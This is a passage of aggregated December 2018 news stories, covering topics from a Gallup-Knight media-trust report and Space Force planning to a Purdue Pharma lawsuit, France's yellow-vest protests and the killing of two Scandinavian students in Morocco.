bonus item on the bottom of the blog post about what the impact of disappearing daily newspapers have on a community."Today [12-13-18] Gallup and Knight Foundation announced a new report , the last in a series of studies released in 2018, which explore American views of trust, media and democracy. We also published a short recap of the series highlighting lessons learned over 2018 by Sam Gill, Knight's vice president of communities and impact.Like much of the report series, today's study,provides important insights to journalists, social media companies and others on ways to address problems with misinformation and declining trust in media. It shows, in a live experiment, that those who share news stories have higher trust in the content they are sharing, but those who research news stories to learn more have lower trust in the content.Importantly, the social media news ecosystem is built for sharers. Sharing is incentivized, encouraged, and enabled. Researching is not, and skeptical readers have few tools within the system to check it.Key findings include:Taken together, the Gallup-Knight report series highlights the challenges of declining trust in media, emphasizing that improved data and knowledge around this issue is essential to diagnosing the problem and finding solutions. The series forms part of Knight Foundation's larger initiative on Trust, Media and Democracy , launched in 2017, which includes a high-level commission established in partnership with Aspen Institute that is exploring the impact of eroding trust in news media on our democracy." Budapest Airport wishes to draw passengers attention to some practical information that may come in handy during your trip or the holiday preparations. * As a first step, it is a good idea to download the Budapest Airport mobile app so that you have access to information on what is currently offered, the latest flight information, and other useful tips. * To make security screening faster, you may find it useful to visit BUDs website www.bud.hu in advance to see what you may bring to the airport and on board and what you must definitely leave at home. * With the holiday season approaching, it must be noted that fireworks and sparklers are prohibited items, they are not allowed on board either in cabin baggage or in hold baggage, and so they will be confiscated or you will be asked to dispose of them at the airport. * A lot of people travel by air from Budapest during the holiday season at the end of December, therefore you should arrive at the airport earlier than usual to make sure you are cleared through security in time. The worst that may happen to those coming to the airport early is having time for a coffee or shopping in peace before boarding. * The time spent at the airport is great not only for relaxing and gearing up for the journey, but also for purchasing some missing gifts. A wide variety of Hungarian and international premium brands is available and you can shop without having to worry about the weight limit: products purchased in the SkyCourt (after security screening), including beverages purchased for gifts, can be taken on board all flights in excess of your airline limits. Budapest Airport is making continuous efforts to enhance the airport services: projects with a price tag over 700 million EUR in total will be implemented at the airport during the next five years. Our most important objective is besides maintaining a secure airport environment to make your journey as comfortable and smooth as possible. In the coming years, terminal services will be upgraded, airport infrastructure will be enhanced, terminal capacities will be extended, and work on designing a third terminal will continue. These developments will also contribute to the continuous enhancement of our services, meeting the demand and requirements of a continuously growing number of passengers. More: Budapest Airport Nearly 200 employees of a family-owned company received an early Christmas surprise when they found out what their Christmas bonuses would be this year! On December 14, Lee Schoenherr owner of FloraCraft, a Michigan-based company that produces foam goods used for crafting and floral projects told his 200 full-time employees that they would all be sharing a $4 million dollar year-end bonus. I believe strongly in giving back to the community by supporting initiatives that make Ludington a wonderful place to live, work and raise a family, Schoenherr, 82, said in a statement on the FloraCraft website. A few years ago, I began thinking that I would like to do something more targeted for our employees, who really are the heart and soul of FloraCraft. As ABC 13 notes, past bonuses at the company have included ham and gift cards, so this one is sure to take the cake! Lee Schoenherr In his announcement, Schoenherr said that 75-percent of the money will be paid out in a contribution to the employees retirement accounts, and the rest in cash. The bonuses will be tenure-based, so while many workers will be seeing $20,000 bonuses, employees who have been at the company for 40 years will see theirs exceed $60,000. This idea has developed over the past year and is my way of saying Thank you to our team for the role they have had in our success, he continued. My wife, Joan, and I are blessed in so many ways. We want to share these blessings with the men and women whose energy, passion and loyalty inspire us every day. RELATED: Man, 90, Delivers $1,000 Checks to Every Student and Staffer at Paradise High School After Wildfire According to ABC 13, FloraCraft also plans to offer free financial planning classes to employees next year, so they can learn to budget, save and grow their savings for a better future. Lee Schoenherr is an amazing man, generous man, who grew up here in Ludington, FloraCraft CEO and president Eric Erwin told WZZM. He represents the best of the community. The Christmas on I.C.E. special from Full Frontal With Samantha Bee was extra special this holiday season. The episode was centered entirely around detained immigrants and their plight. Bee also promoted the organization Kids in Need of Defense, which provides legal representation to unaccompanied children who enter the U.S. immigration system alone. Bee hoped to combat the heartache some immigrants are experiencing after nationwide raids by U.S. Immigration and Customs Enforcement agents and family separation policies have filled detention centers across America. So she visited Stewart Detention Center in Lumpkin, Ga., which happens to be the largest facility of its kind in the country. Bee learned that the town of Lumpkin is so small that there is only one place available for families and attorneys to stay while visiting detainees. El Refugio is a hospitality ministry that owns a small three-bedroom home with just one bathroom. And since the detention center hold 1,800 immigrants, it is obviously too small to house the people in need. So Bee used TBSs money and bought a new house for attorneys and families to use while visiting detainees. Bee boasted, There is a fully redone kitchen to feed all those pro bono lawyers, a dining room that seats 20 for fueling up so they can fight our Draconian immigration policies. El Refugio has opened the house to those in need, and it is already helping. Bee said, We werent able to fix our Kafkaesque immigration system, but hopefully we did make one little, tiny part of it slightly more bearable. Full Frontal With Samantha Bee airs Wednesdays at 10:30 p.m. on TBS. Watch Michelle Obama surprise unsuspecting tourists at 30 Rock: Read more from Yahoo Entertainment: Tell us what you think! Hit us up on Twitter, Facebook or Instagram, or leave your comments below. And check out our host, Kylie Mar, on Twitter,Facebook or Instagram. Assistant principal suspended in West Virginia after transgender harassment claims originally appeared on abcnews.go.com A West Virginia high school suspended its assistant principal on Tuesday after a transgender student accused him of harassment. Liberty High School assistant principal Lee Livengood was suspended with pay following a complaint by sophomore Michael Critchfield, who said Livengood harassed him in a school bathroom last month, according to West Virginia's American Civil Liberties Union, which is representing the child. Critchfield, who was assigned female at birth but identifies as male, told ACLU that Livengood approached him in the boys bathroom on Nov. 27, and said: "Why are you in this bathroom?" and "You freak me out." PHOTO: LGBT activists from the National Center for Transgender Equality, partner organizations and their supporters hold a rally in front of the White House, Oct. 22, 2018. (Chip Somodevilla/Getty Images) "He kept asking me why I was in there. [He said], I shouldn't be in there because I am not a guy, and I told him I am a boy, I identify with this bathroom, and it is my legal right to use this restroom," Critchfield, 15, told local media outlet Metro News. "I was barricaded in the bathroom for three or four minutes," Critchfield said. "And then a band mom was coming down complaining that they could hear Mr. Livengood yelling at me in the bathroom from the cafeteria, from the hallways, and some could hear it from the band room so she came down to see what was wrong. (MORE: Detroit pastor accused of murdering transgender woman) Harrison County Schools superintendent Mark Manchin agreed to meet with ACLU officials after receiving a letter on behalf of the teen and said the district has reached out "for help with additional sensitivity training around transgender students," ACLU said in a statement. Manchin told the ACLU that Livengood was placed on paid suspension until the end of semester while the school investigates the alleged incident, the constitutional advocacy group said. The school's semester ends on Friday. PHOTO: LGBT activists from the National Center for Transgender Equality, partner organizations and their supporters hold a rally in front of the White House, Oct. 22, 2018. (Chip Somodevilla/Getty Images) "While we are heartened to hear the administration admit to wrongdoing, a four-day paid suspension of an employee is not sufficient," ACLU said. "The Harrison County School District needs to make significant changes to its culture. We look forward to meeting with Mr. Manchin and developing a real plan to ensure that every student is safe." Story continues (MORE: Virginia teacher fired for referring to transgender student as female) Manchin acknowledged that the school "didn't handle it well," initially, but he said it does not "reflect on our employees at Harrison County Schools." "I was able to confirm the interaction with Mr. Livengood and that indeed he acted inappropriately. We need to address it and we will address it," Manchin told Metro News on Tuesday. "Mr. Livengood was contrite. He understood the severity, that its a hot button issue, how we need to handle this, he was aware, and unfortunately we didnt handle it well. He was contrite in understanding that what he did was incorrect so we addressed it." President Donald Trump's new Space Force will fall under Air Force originally appeared on abcnews.go.com The Pentagon has decided to house President Donald Trump's "Space Force" under the Department of the Air Force, according to a U.S. official with knowledge of a draft legislative proposal for the nation's newest military service. The proposal calls for the creation of the new service within the the Air Force, in a manner similar to how the Marine Corps is part of the Department of the Navy. The Space Force would be led by a chief of staff who would also serve on the Joint Chiefs of Staff along with representatives from the Army, Navy, Air Force, Marine Corps and the National Guard, the official said. It's a victory for the Air Force which has sought to keep control of the U.S. military's space assets and currently manages a three-star Space Command that is headquartered at Peterson Air Force Base in Colorado and is responsible for 30,000 personnel worldwide. The decision was first reported by Defense News. (MORE: Trump signs memo establishing US Space Command, a new combatant command but not a military service) The proposal, which has the support of the Pentagon's senior leadership, could be submitted to the Office of Management and Budget for inclusion in the Department of Defense budget as soon as this week, the official said. PHOTO: President Donald Trump speaks before signing a Space Policy Directive during a National Space Council meeting in the East Room at the White House on June 18, 2018, in Washington. (The Washington Post/Getty Images, FILE) Ultimately, the service's establishment will require legislation from a Congress which has been divided over how the military might restructure to counter threats from China and Russia in space. The incoming chairman of the House Armed Services Committee, Rep. Adam Smith, D-Washington, has already expressed his opposition to the creation of a separate service because of its cost. The Air Force has estimated that a Space Force could cost as much as $13 billion over the first five years. But Deputy Secretary of Defense Patrick Shanahan, who has led the Pentagon's effort to realize the establishment of a Space Force, has said it could be less than $5 billion. Story continues (MORE: Pence misses launch but treated to new SpaceX crew capsule) An Air Force spokesperson referred questions about the draft proposal to Shanahan's office. In concert with White House guidance, we are moving forward with a legislative proposal for Space Force, Lt. Col. Joe Buccino, a spokesman for Shanahan, told ABC News. The decision to house the Space Force within the Air Force runs counter to what Trump has expressly outlined. "We are going to have the Air Force, and we are going to have the Space Force -- separate but equal," the president said in June. Great meeting with @DeptOfDefense Secretary Mattis at the Pentagon discussed cyber defense issues and US space operations as part of our effort to secure American leadership in both of those war fighting domains. pic.twitter.com/hGGn3iTjyr Vice President Mike Pence (@VP) December 19, 2018 Earlier this week, Vice President Mike Pence announced that Trump would soon sign a new "space policy directive" to create the sixth branch of the armed forces that the administration hopes to stand up before the end of 2020. He held a meeting with Defense Secretary James Mattis at the Pentagon on Wednesday to discuss U.S. space operations. PHOTO: Vice President Mike Pence talks with SpaceX employees during a tour of the SpaceX hangar at Launch Complex 39-A in Cape Canaveral, Fla., Dec. 18, 2018. (Steve Nesius/Reuters) On Tuesday, Trump signed a memorandum establishing U.S. Space Command as the military's 11th unified combatant command. Distinct from a Space Force and the existing Air Force Space Command, the combatant command will change how the Department of Defense approaches war-fighting in space by centralizing its space operations from across the U.S. military into one place. A Space Force service, on the other hand, would likely focus on the recruiting, training and equipping of service members for the space mission. Like the military's other combatant commands, the new Space Command -- which was announced by the administration earlier this year -- will be led by a four-star general and draw on capabilities and personnel from the Air Force, Army, Marine Corps, and Navy. Tuesday's memorandum directed Mattis to recommend officers for nomination and Senate confirmation to serve as the commander and deputy commander. Unlike the creation of a Space Force military service, the establishment of Space Command won't require Congressional legislation. Police have arrested five employees of a Houston bar where a 19-year-old allegedly was served alcohol before causing a fatal car crash. On Tuesday, Erick Raphael Hernandez was charged with intoxication manslaughter after getting into a head-on collision Sunday night with 23-year-old Taylor Phillips, who was driving with her mother and 1-year-old son as passengers in a black SUV. Phillips died in the crash, and her relatives sustained minor injuries, according to the Houston Chronicle. Five bar employees were arrested after allegedly serving 19-year-old Erick Hernandez 12 drinks in six hours. Investigators began looking into area bars where the underage Hernandez might have been served. On Tuesday, they quickly narrowed their focus to Frontera Events Venue, a nightclub on Houston Boulevard. Four of the employees who were arrested on Wednesday in connection with serving drinks to Hernandez Joaquin Gonzalez, 21; Jazely Marie Barrera, 21; Mildred Milly Garcia, 21; and Anna Evelyn Lula, 19 were each charged with making alcoholic beverages available to a minor. The fifth, Gustavo Tejada-Garcia, 28, was charged with possession of an unauthorized beverage-retailer, according to ABC 13. The five were released on bond Thursday after spending the night in jail. Prosecutors were able to charge the suspects after uncovering surveillance video of three of the five employees doing shots of tequila with Hernandez. The video shows Hernandez consuming a total of 12 drinks. To make matters worse, Frontera Events Venue did not even have a liquor license with the state of Texas, according to court documents. The bar was only permitted to sell beer and wine, according to ABC 13. Five bar employees were arrested in connection with a teens fatal DUI accident. (Photo: ABC 13) Frontera Events Venue has been serving liquor since August 2017, and in that time the bar has been hit with two citations from the Texas Alcoholic Beverage Commission. One was for serving alcohol after hours, and the other was for serving alcohol to a minor in May, according to the Chronicle. In many cases, only the server is charged and the business is protected when a minor is served alcohol. Thats because of Texas Safe Harbor Act but the law doesnt apply when someone is killed. Story continues According to the Chronicle, Sean Teare, Vehicular Crimes Division chief of the Harris County District Attorneys Office, said that if the vehicular crimes task force finds any connection between Frontera and the crash that killed Phillips, the venue will probably be charged. Meanwhile, intoxication manslaughter may not be the only crime Hernandez is ultimately accused of. Depending on the outcome of the injuries sustained by the SUVs other two passengers, prosecutors might look to press more charges, the Chronicle noted. Police also found a fake identification card in the teens car. As [fake IDs] go, its a pretty good one, Teare said. Somebodys out there making them. I dont think Mr. Hernandez has the wherewithal to do this himself. Teare, who called the fatal crash as tragic as a case can get, gave the Chronicle a message he wants all sellers and servers of alcohol to heed. Just be responsible, he said. Check IDs. If you see that someones obviously intoxicated, stop selling them alcohol. Do those things, and everything is going to be fine. But that small percentage of those sellers, servers and owners out there that encourage and actually do violate the law and over-serve and sell to minors, those are the ones were going to come after. He told KHOU, Six hours on a Sunday evening and then just cutting him loose with a 5,000 pound deadly weapon. Its unacceptable. Hernandez posted his $30,000 bail Tuesday morning and was arraigned on Wednesday. Read more from Yahoo Lifestyle: Follow us on Instagram, Facebook and Twitter for nonstop inspiration delivered fresh to your feed, every day. Photo credit: Carol Yepes - Getty Images From Delish We've all read about a million "New Dream Job That Will Pay You To Relax In A Beautiful Foreign Country" articles by now. But this one is different. No, really! Noken, a company that curates trips, is looking to hire a person to eat, roam through, and generally experience some gorgeous countries...but they're going to give you the title of CEO to do it. To be clear, the CEO title in this case is not the usual Chief Executive Officer, but Cultural Exploration Officer. The responsibilities of Noken's CEO will be as follows: Travel to Japan, Portugal, and Iceland to meet these countries & their unique cultures. Managing their day-to-day exploration (i.e. traveling) and creating content to share their experience with the Noken community. The application process is pretty straightforward (and a pretty good gauge of whether you'll be able to handle the job's pressures or not). Take five photos of your hometown's most precious and meaningful places. Then, "post these photos in a carousel on Instagram and tag @Noken," the company explains. "In your caption, use the hashtag #NokenCEO and describe why you should be Nokens next CEO." Other requirements for the job? You've gotta have a public Instagram profile, of course, be 21 or older, and have a valid U.S. passport. Besides that, it's up to you and your 'gramming skillz. You can apply now through December 21st. The winner (excuse me, CEO) will be announced by early February. Learn more about the position here and do your damndest here. ('You Might Also Like',) Mickey Huber meets the baby whose mothers life he saved. (Photo Courtesy of Anastasia Skinner) A California couple is giving thanks to a first responder who helped them stay calm at a time of chaos, by naming their fourth child after him. Paradise, Calif., native Anastasia Skinner hasnt had an easy time adding to her family with her husband, Daniel. The 25-year-old, who has three children, experienced the heartbreak of two miscarriages before she became pregnant with her fourth child. Still, she couldnt have anticipated what her daughters birth would bring or the heroism of the person who saved her life in order to make it happen. On Nov. 8, the Skinners neighborhood was under evacuation as the Camp Fire raged. But even before she became aware of the dire situation nearby, Anastasia Skinner tells Yahoo Lifestyle, she set out to get her family dogs from her mothers house, and soon after was plagued by painful contractions. Less than half a mile from my moms house, I got directed to go onto Gate Lane. It was around an hour into waiting on that less than 1-mile-long lane that I started feeling severe contractions that I was unable to talk or think through, Anastasia explains. Around them getting to three minutes apart, both my mom and my husband told me to get off the phone with them and call 911. According to the stay-at-home mother, the baby wasnt due for another month. But not only did the contractions begin prematurely, her pregnancy had already been designated as high-risk. I pleaded with myself to not have her yet, because I knew with hemorrhaging previously and the need for a C-section, my chances and my babys chances werent good, she said. The pain got worse, so the 911 operator said to lay on the horn and scream for help. First responders eventually approached her vehicle while traffic was at a standstill and called for a helicopter to take her to the hospital. However, it was not until EMS Operations Chief Mickey Huber became involved that the expectant mom began to feel hopeful. Mickey showed up and made the decision that I didnt have time to wait on the Life Flight, and formed an escort of emergency vehicles, Skinner says, explaining that a retired EMT took the drivers seat, while a neighbor who recognized her also jumped into the car, to take care of the dogs in her passenger seat. Mickey and I were in the back, with my seats folded down. He made me laugh, told me to tell him stories of happiness, to tell me what his name was several times. He stayed really calm and got us out. Story continues Huber explains to Yahoo Lifestyle that he was able to transfer Anastasia to an ambulance that would take her to the Enloe Medical Center in Chico, Calif., before he went back to help with more evacuations. Daniel, meanwhile, received the evacuation orders and was traveling in a separate car, as he attempted to drive away from the blaze. He recorded videos of the flames that were beginning to engulf the neighborhood as he tried to follow his wife to the hospital. All the while, Anastasia was being treated to correct her blood pressure and heart rate, which put her at risk of having a stroke. Doctors and nurses were able to stop her preterm labor that day, and she was discharged from the hospital quickly, as a result of the further health risks caused by the buildup of smoke. Neither she nor Daniel was able to get in touch with Huber until after Thanksgiving. We tried finding him for a while, and he responded to a paper article [Daniel and I] did to give credit to everyone involved, Anastasia explains. Daniel called him and they sent emails back and forth. One of those emails included the news that Anastasia was scheduled for a C-section on Dec. 2, and that the couple wanted Huber to come to visit, to meet the baby. At that same time, Daniel told Huber that the baby would be named Zoele Mickey Skinner in his honor. I was and still am humbled and honored by their gesture. Zoele is such a cutie, Huber says. [Evacuation] day was a mix of emotions, but I have a great memory of that day now, because of baby Zoele. Photos of Huber holding 2-day-old Zoele went viral after they were posted to the Enloe Medical Centers Facebook page on Monday. While many people are praising Huber for saving both Anastasia and Zoeles lives, the mother hopes that her daughter, too, will one day understand the significant role that Huber played in her life. Read more from Yahoo Lifestyle: Couple donates everything in their house to firefighters whose homes were destroyed by Camp Fire: Well start over; theyre starting over After a 4-year-old lost his beloved dinosaur collection in wildfire, community donates toys Were all here together: California couple refuse to let wildfire take away their wedding day Follow us on Instagram, Facebook, and Twitter for nonstop inspiration delivered fresh to your feed, every day. Following the appointments of Democrats Rochelle Nguyen and Beatrice Angela Duran to the state assembly, Nevada will become the first state with a majority-female legislature. The future is female, and this sentiment will ring especially true in Nevada come February. The state will become the first in the country to have a majority-female legislature following the appointments of Rochelle Nguyen and Beatrice Angela Duran to two open seats in the Assembly on Tuesday, December 18th. With their appointments, female lawmakers will hold 23 of 42 seats in the state Assembly and nine of the 21 seats in the state Senate. In a statement, state assembly speaker Jason Frierson said of the appointments: The Assembly Democratic Caucus is proud to welcome Rochelle Nguyen and Beatrice Duran to the State Assembly and our Caucus. In addition to a diversity of backgrounds and life experiences, both Rochelle and Beatrice bring passion, energy, and knowledge to the State Legislature that will better serve our state and our constituents. In a set of unanimous votes, Nguyen will replace former assemblyman Chris Brooks and Duran will replace former assemblywoman Olivia Diaz. Both Democrats, Nguyen and Duran are set to serve the remainder of the term until the 2020 election. Nguyen is an attorney and owner of Nguyen & Lay law firm, and will become the only Asian American Pacific Islander member of the legislature, according to the Nevada Independent. Duran is a grievance specialist at the Culinary Workers Union, a labor union based in Nevada. Coupled with historic wins at the federal level, things are definitely looking up for women on the political stage. Heres to a 2019 filled with smart, powerful women! By Rich McKay (Reuters) - Three members of the International Space Station's crew returned safely to Earth on Thursday, landing in Kazakhstan on a Russian Soyuz craft, NASA reported. It was the first return from the space station since October, when U.S. astronaut Nick Hague and Russian cosmonaut Alexey Ovchinin landed unharmed on the Kazakh steppe after their rocket bound for the station failed two minutes after liftoff. NASA astronaut Serena Aunon-Chancellor landed along with her German crewmate Alexander Gerst of the European Space Agency (ESA) and Russian cosmonaut Sergey Prokopyev at 12:02 a.m. EST (11:02 a.m. local time, 0502 GMT), NASA said in a blog post. Aunon-Chancellor had been in space for 197 days and contributed to hundreds of scientific experiments aboard the orbiting space station. NASA has relied on Russian rockets to ferry astronauts to the space station since the United States retired its Space Shuttle program in 2011, though the agency has announced plans for test flights carrying two astronauts on commercial rockets made by Boeing and SpaceX next April. The crew were reported to be in good condition and Aunon-Chancellor is expected to return home to Houston following medical checks, NASA said. The October accident was the first serious launch problem experienced by a crewed Soyuz space mission since 1983, when a crew narrowly escaped before a launchpad explosion. Three crew remain on the station: NASA's Anne McClain, David Saint-Jacques of the Canadian Space Agency and Russia's Oleg Kononenko. Three additional crew will join them in February. (Reporting by Rich McKay; Editing by Kevin Liffey) (TNS) Rural Iowa needs more assistance from the state to address housing shortages and limited access to high-speed Internet, three state task forces told the governor Tuesday.The task forces, led by Lt. Gov.-elect Adam Gregg and developed as part of Gov. Kim Reynolds Empower Rural Iowa Initiative, issued their report Tuesday , calling for the creation of an Office of Rural Affairs to assist with rural policy development and provide a permanent rural perspective at the state level. The groups also recommended creating a database for rural communities to share available programs, best practices and development strategies.Id like to thank our dedicated task force members for bringing forth excellent recommendations to meet the needs of rural Iowa access to quality housing, leadership in our small communities and sustainable broadband connectivity, Reynolds said in a statement.For Iowa to truly be successful, we have to see growth in every corner of our state, she said. Weve seen positive things happening in our rural communities, but theres still a lot to do. These recommendations are just the beginning, and I cant wait to see how we will continue to empower rural Iowa in the future.Reynolds charged the three study groups the Investing in Rural Iowa Task Force, the Growing Rural Iowa Task Force and the Connecting Rural Iowa Task Force with identifying needed legislative, regulatory and policy changes.In tackling housing challenges, the report recommended communities undertake housing-needs assessments with the help of state agencies and resources.A housing-needs assessment can help a community get more housing built, the report said. It proves the existence of a market to builders, it is often a prerequisite for access to state and federal programs, and it is a critical first step for communities to take to understand precisely what type of housing they need and at what price points.The report also recommended reforming the workforce housing tax credit program to make it more accessible to rural developers.When it comes to expanding access to broadband Internet , the report acknowledged the need in rural areas, noting that access makes communities more attractive to residents Who wants to live in a new home if it is in a community that is not connected? the report said. High-speed Internet has become commonplace in school activities, provides rural residents access to the growing field of telemedicine, and it is crucial in agricultural uses such as precision farming and GPS systems.But the report also acknowledged the lack of funding at the state level.The Connect Every Acre Act was signed into law by former Gov. Terry Branstad in 2015, establishing an initial $5 million grant program to award service providers that invest in broadband access to farms, schools and rural communities, with the goal of Iowa becoming the most connected state in the Midwest, Branstad said at the time. But the grant program wasnt funded until the 2018 legislative session, the report said, when $1.3 million was allocated.No matter how the state decides to fund the broadband grant program going forward, the funding will of course be limited, the report said. Therefore, it is important that any funds appropriated be used as efficiently as possible.The report recommended the state prioritize low connectivity areas, instead of targeting areas where broadband connectivity already is available. It also emphasized the need for faster download speeds.To truly be future ready, state incentives should support download speeds of at least 100 megabits per second with preference to systems that offer symmetrical speeds, the report said, noting that the 2015 legislation only calls for 25 megabits per second of download speed.The task forces established by an executive order in July were co-chaired by Gregg and Iowa Rural Development Council Chair Sandy Ehrig, and held meetings in Earlham, Holstein, Maquoketa, Mount Pleasant, Pella and Stanton.Gov. Reynolds heard the concerns of Iowans, identified three of the main challenges and used this process to help identify solutions, Gregg said in a statement.An eight-page report of the task forces findings can be found on the governors website at governor.iowa.gov/sites/default/files/ERI%20recommendations.pdf Pills in a bottle. Pills in a bottle. Photo: Coffeehuman/Shutterstock.com In one of his last actions as Connecticut attorney general, George Jepsen announced Thursday afternoon that his office would be filing another lawsuit against Big Pharma. This one, though, targets only Stamford-based Purdue Pharma and names 16 current and past top officials, including board members and former CEOs, as defendants. The lawsuit, to be filed in Hartford Superior Court, claims the company designed, financed and wages an aggressive campaign to mislead doctors and patients of the addictions associated with opioids. The 30-page lawsuit says Purdue Pharma, the maker of OxyContin, "misinformed patients and doctors into prescribing, and patients into taking, higher and more dangerous doses" and that the company "convinced doctors to prescribe longer-duration opioid prescriptions and for patients to stay on Purdue's drugs for longer and more harmful periods of time." The lawsuit lays out an alleged elaborate scheme whereby Purdue Pharma sales representatives would mislead health providers about the company's products. Those sales representatives, the lawsuit alleges, would, among other things, falsely tell prescribers that OxyContin was more difficult to abuse intravenously than generic oxycodine. The lawsuit said money was the underlying factor for why Purdue Pharma allegedly falsely marketed its products. "The defendants trained Purdue's sales representatives that increasing a patient's dose was a key move when making sales. For patients, taking higher doses of opioids increases the risk of addiction and death, but for the defendants, higher doses means higher profits," the lawsuit said. The lawsuit continues: "From the top, Purdue's leaders pushed employees to get more patients on opioids, at higher doses, for longer periods of time. The defendants awarded bonuses and prizes to sales representatives who generated the most opioid prescriptions." In addition to OxyContin, Purdue also manufactures two other opioid medications: Hysingla and Butrans. In a statement, Jepsen, who will leave office in three weeks, wrote that the drug company "has not demonstrated to me that it is serious about addressing the states' very real allegations of misconduct and coming to a meaningful settlement. It is my hope that, in filing this lawsuit at this time, Connecticut can assist in the collective effort to hold this company and responsible individuals accountable." In a statement emailed to the Connecticut Law Tribune from Purdue Pharma's media department Thursday, the company said: "We share the states concern about the opioid crisis. While Purdue Pharmas opioid medicines account for less than 2 percent of total prescriptions, we will continue to work collaboratively with the state toward bringing meaningful solutions to address this public health challenge." The company's statement continues: "We vigorously deny the states allegations. The state claims Purdue acted improperly by communicating with prescribers about scientific and medical information that the FDA Federal Drug Administration has expressly considered and continues to approve. We believe it is inappropriate for the state to substitute its judgment for the judgment of the regulatory, scientific and medical experts at FDA. We look forward to the opportunity to present our substantial defenses. The lawsuit alleges four counts of violations of the Connecticut Unfair Trade Practices Act. It seeks damages, civil penalties and restitution as well as permanent injunctive relief. According to the Attorney General's Office, 1,038 people died of accidental drug overdoses in 2017 with the vast majority being from opioid-related overdoses. The Connecticut Office of the Chief Medical Examiner has projected that 1,030 people will die of overdoses in 2018. The estimated economic cost of the opioid epidemic in Connecticut, according to the Attorney General's Office, was $10.27 billion. As of Thursday afternoon, Purdue Pharma had not assigned attorneys to represent it in the latest lawsuit. Related Stories: Quinnipiac School of Law Center To Host Opioid Crisis Summit Embattled Opioid Maker Purdue Pharma Names Marc Kesselman General Counsel Danbury Law Firm Files Suit Against Opioid Makers on Behalf of Four Municipalities PARIS (Reuters) - The death toll linked to France's anti-government "yellow vest" protests has risen to nine, the government said on Thursday, as demonstrators kept up major disruptions of road traffic. "There has been a ninth death, this morning in Agen, by a roundabout. It was a 'Yellow Vest' who was protesting outside but was not following roadway safety instructions," Interior Minister Christophe Castaner told reporters. Local officials said the latest victim, a man aged about 60, was hit by a truck near a motorway where demonstrators had been gathering. Most of the nine deaths have occurred as a result of road accidents, since protesters have been blocking off roundabouts and damaging motorway toll booths. The "gilets jaunes" (yellow vest) protesters - named after the high-visibility jackets French motorists must carry in their cars - launched their demonstration in mid-November to rally against fuel tax increases. But the movement has since evolved into a wider backlash against the economic reforms of President Emmanuel Macron, and protests in Paris this month were marred by major outbreaks of violence and vandalism. (Reporting by Julie Carriat; Editing by Sudip Kar-Gupta/Inti Landauro and Mark Heinrich) COPENHAGEN, Denmark (AP) Authorities arrested three more suspects Thursday in the deaths of two Scandinavian university students who were killed in Morocco's Atlas Mountains. Moroccan authorities said the men detained in Marrakech and a fourth suspect pledged allegiance to the Islamic State group in a video. The office of Morocco's prosecutor said four men seen in the video that was circulating on Twitter and recorded last week were the same four in custody for the slayings of the young women, whose bodies were discovered Monday. Moroccan authorities had said they considered the killings in a remote region of the Atlas Mountains to be a terrorist act and were investigating if the suspects had extremist ties, but hadn't named a particular group. Other tourists found the two women, one from Norway and the other from Denmark, with stab wounds in their necks, according to national media in Morocco. Investigators have video surveillance footage showing three people putting up a tent near the victims' tent, the media outlets said. The footage also shows the three leaving the area, near a village that is a frequent starting point for treks to Mount Toubkal, North Africa's highest peak, the outlets said. Danish Prime Minister Lars Loekke Rasmussen confirmed the identities of the victims, 24-year-old Louisa Vesterager Jespersen, of Denmark, and Norwegian citizen Maren Ueland, 28. The University of South-Eastern Norway said both women were students at its campus in Boe, southern Norway. "What should have been a holiday trip turned into a nightmare" for the women, Loekke Rasmussen told reporters in Denmark. Earlier Thursday, Denmark's domestic security agency told The Associated Press that preliminary findings the investigation "indicate, according to Moroccan authorities, that the killings may be related to the terrorist organization the Islamic State group." The killings were "politically motivated and thus an act of terror," Denmark's Loekke Rasmussen said, without identifying the potential motives. "There are still dark forces that want to fight our values" and "we must not give in." Story continues In neighboring Norway, Prime Minister Erna Solberg said terrorism "is not the only lead that is being investigated in Morocco," but the case "emphasizes the importance of combating violent extremism." "We trust that Moroccan authorities are doing their utmost to arrest those responsible for the murders," she said at a news conference. The slayings have shocked Morocco, a popular tourist destination where attacks on foreigners are extremely rare. In the capital of Rabat, government spokesman Mustapha El Khalfi said Morocco condemned "this terrorist, criminal act." "It is an unacceptable act that does not fit with the values and traditions of Moroccan people nor the traditions of the area where the crime happened," Khalfi said Thursday. It is a denounced, condemned act." The three suspects arrested Thursday were stopped while they were trying to leave Marrakech on a bus, Moroccan national security spokesman Boubker Sabik said. The first suspect was arrested Tuesday, and authorities aren't pursuing others besides the four, Sabik said. A national security official who asked not to be named because he wasn't authorized to speak to the media said the three had knives and slingshots when they were arrested. The official identified them to The Associated Press as Abdessamad Ejjoud, born in 1993; Younes Ouziad, born in 1991; and Rashid Aftati, born in 1986. Morocco is generally considered safe for tourists but has battled with Islamic extremism for years. More than a thousand Moroccans are believed to have joined the Islamic State group. An anti-terrorism rally is being planned for Saturday in Rabat. ___ Amira El-Masaiti reported from Rabat, Morocco. LONDON/MOSCOW (Reuters) - Russian tycoon Oleg Deripaska is preparing to cede control of Rusal and its parent En+, moving part of his En+ stake to a blind trust, as talks with the United States on lifting sanctions advance, three sources familiar with the talks said. The U.S. Treasury imposed sanctions on Deripaska, aluminium giant Rusal, En+ and other companies in which he owns stakes, citing "malign activities" by Russia, prompting turmoil in global aluminium markets. Deripaska has called the sanctions on him "groundless, ridiculous and absurd". After lobbying by European governments, Washington postponed enforcement of the sanctions and started talks with Deripaska's team on removing Rusal and En+ from the blacklist if he ceded control in Rusal. The deadline for complying with the sanctions was extended several times. It is now Jan. 21, 2019. "Rusal and En+ are very close to a deal with OFAC (Office of Foreign Assets Control). They will likely be removed from the SDN sanction list while their ownership will moved to a blind trust," one of the sources said. "It is a compromise for everyone." Rusal, the world's second largest aluminium producer after China's Hongqiao, and En+ declined to comment. Deripaska's representative also declined to comment. One of the three sources and three other sources familiar with the talks between Deripaska's team and OFAC said the sides were very close to a deal and that it could be announced by the end of this week. One source said the deal was still subject to approval from the Russian political authorities before a final agreement can be reached. The blind trust, which would be run by independent administrators, has been mooted at least since June. However, the Christmas holiday next week may become an additional reason for OFAC to announce the agreement this week, sources said. "Most people will be rushing off to do their shopping, buy presents. They may be hoping headlines along the lines of '(U.S. President Donald) Trump lifts sanctions on Russians' will go unnoticed by most people," another source said. Story continues Deals with "strategic" Russian companies the size of Rusal, which employs 62,000 people in Russia and other countries, are usually subject to close attention from the Kremlin. Russia also has a history of defending its strategic groups to prevent them falling into control of foreign shareholders. The Kremlin had not replied to Reuters request for comment by the time of publication. Russian President Vladimir Putin will hold his annual news conference on Thursday. According to data from early 2018, Deripaska controls 67.6 percent of En+, which in turn controls 48 percent of Rusal. En+ said in April that Deripaska had agreed in principle to reduce his stake in the company to 